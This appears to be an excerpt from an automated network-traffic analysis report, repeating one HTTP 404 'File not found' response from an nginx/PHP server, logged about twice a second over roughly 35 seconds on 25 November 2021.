Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:50:01 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:50:01 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:50:02 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:50:02 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:50:03 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:50:03 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:50:04 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:50:04 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:50:05 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:50:05 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:50:06 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:50:06 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:50:07 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:50:07 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:50:08 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:50:08 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:50:09 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:50:09 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:50:10 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:50:10 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:50:11 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:50:11 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:50:12 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:50:12 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:50:13 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:50:13 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:50:14 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:50:14 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:50:15 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:50:15 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:50:16 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:50:16 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:50:17 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:50:17 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:50:18 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:50:18 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:50:19 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:50:19 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:50:20 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:50:20 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:50:21 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:50:21 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:50:22 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:50:22 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:50:23 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:50:23 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:50:24 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:50:25 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:50:26 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:50:26 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:50:27 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:50:27 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:50:28 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:50:29 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:50:29 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:50:30 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:50:30 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:50:31 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:50:31 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:50:32 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:50:32 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:50:33 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:50:33 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:50:34 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:50:34 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:50:35 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:50:35 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:50:36 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
